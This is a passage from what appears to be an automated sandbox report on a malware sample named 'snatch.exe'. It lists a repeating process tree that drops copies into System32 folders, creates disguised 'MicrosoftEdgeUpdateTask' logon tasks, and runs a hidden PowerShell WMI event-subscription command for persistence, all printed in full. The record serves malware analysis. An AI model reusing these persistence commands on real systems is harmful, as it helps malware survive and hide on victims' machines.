  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\toynpi2zrp\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5496

C:\Windows\System32\toynpi2zrp\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\toynpi2zrp\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:5684
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-o9ionf492c /tr C:\Windows\System32\iqlzyuc3dy\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\iqlzyuc3dy\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5760

C:\Windows\System32\iqlzyuc3dy\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\iqlzyuc3dy\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:5948
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-hbjhiy4ueq /tr C:\Windows\System32\8pk0jbenk2\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\8pk0jbenk2\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:6032

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:1908

C:\Windows\System32\8pk0jbenk2\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\8pk0jbenk2\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1676
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-axxnk0z0ph /tr C:\Windows\System32\h4jli128xi\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:5132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\h4jli128xi\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5280

C:\Windows\System32\h4jli128xi\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\h4jli128xi\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:5572
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-jqt81pk1y7 /tr C:\Windows\System32\7zhg03zs2b\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\7zhg03zs2b\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5540

C:\Windows\System32\7zhg03zs2b\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\7zhg03zs2b\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:5804
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-jr4sracm6u /tr C:\Windows\System32\aqlgnzxhgc\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:5996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\aqlgnzxhgc\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:6008

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:6032

C:\Windows\System32\aqlgnzxhgc\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\aqlgnzxhgc\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:5132
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-ux3000vbcg /tr C:\Windows\System32\bbw9tcmaqi\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\bbw9tcmaqi\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5288

C:\Windows\System32\bbw9tcmaqi\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\bbw9tcmaqi\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:5544
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-z5egwo53op /tr C:\Windows\System32\g4wtblkf9a\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\g4wtblkf9a\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5548

C:\Windows\System32\g4wtblkf9a\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\g4wtblkf9a\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2212
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-5h25qk14bb /tr C:\Windows\System32\44r1k912iu\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\44r1k912iu\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5284

C:\Windows\System32\44r1k912iu\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\44r1k912iu\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:5604
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-8yw5cm0hhp /tr C:\Windows\System32\loiijyqlyw\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6072
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\loiijyqlyw\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5780

C:\Windows\System32\loiijyqlyw\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\loiijyqlyw\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1224
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-wt70a2ijjy /tr C:\Windows\System32\pk0exkgg8w\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\pk0exkgg8w\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:3152

C:\Windows\System32\pk0exkgg8w\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\pk0exkgg8w\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2340
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-cguqlt9559 /tr C:\Windows\System32\cxeat77qo4\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\cxeat77qo4\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5172

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:3152

C:\Windows\System32\cxeat77qo4\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\cxeat77qo4\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:5288
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-lfwzc6dxyd /tr C:\Windows\System32\p30bw2gnkz\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\p30bw2gnkz\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5892

C:\Windows\System32\p30bw2gnkz\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\p30bw2gnkz\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
PID:6336
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-z6okycjb61 /tr C:\Windows\System32\hbhc0exfy2\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\hbhc0exfy2\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:6416

C:\Windows\System32\hbhc0exfy2\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\hbhc0exfy2\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
PID:6652
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-57ud40c6i8 /tr C:\Windows\System32\cr8zuk1an0\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\cr8zuk1an0\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:6724

C:\Windows\System32\cr8zuk1an0\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\cr8zuk1an0\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
PID:6944
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-36jp5huuvj /tr C:\Windows\System32\p4pe9qj7rk\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\p4pe9qj7rk\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:7028

C:\Windows\System32\p4pe9qj7rk\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\p4pe9qj7rk\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
PID:176
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-n59z07dm6s /tr C:\Windows\System32\pahp3ohghw\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6248
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\pahp3ohghw\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:3636

C:\Windows\System32\pahp3ohghw\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\pahp3ohghw\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
PID:6456
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-tr8zvldb4p /tr C:\Windows\System32\4g9647tmdb\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
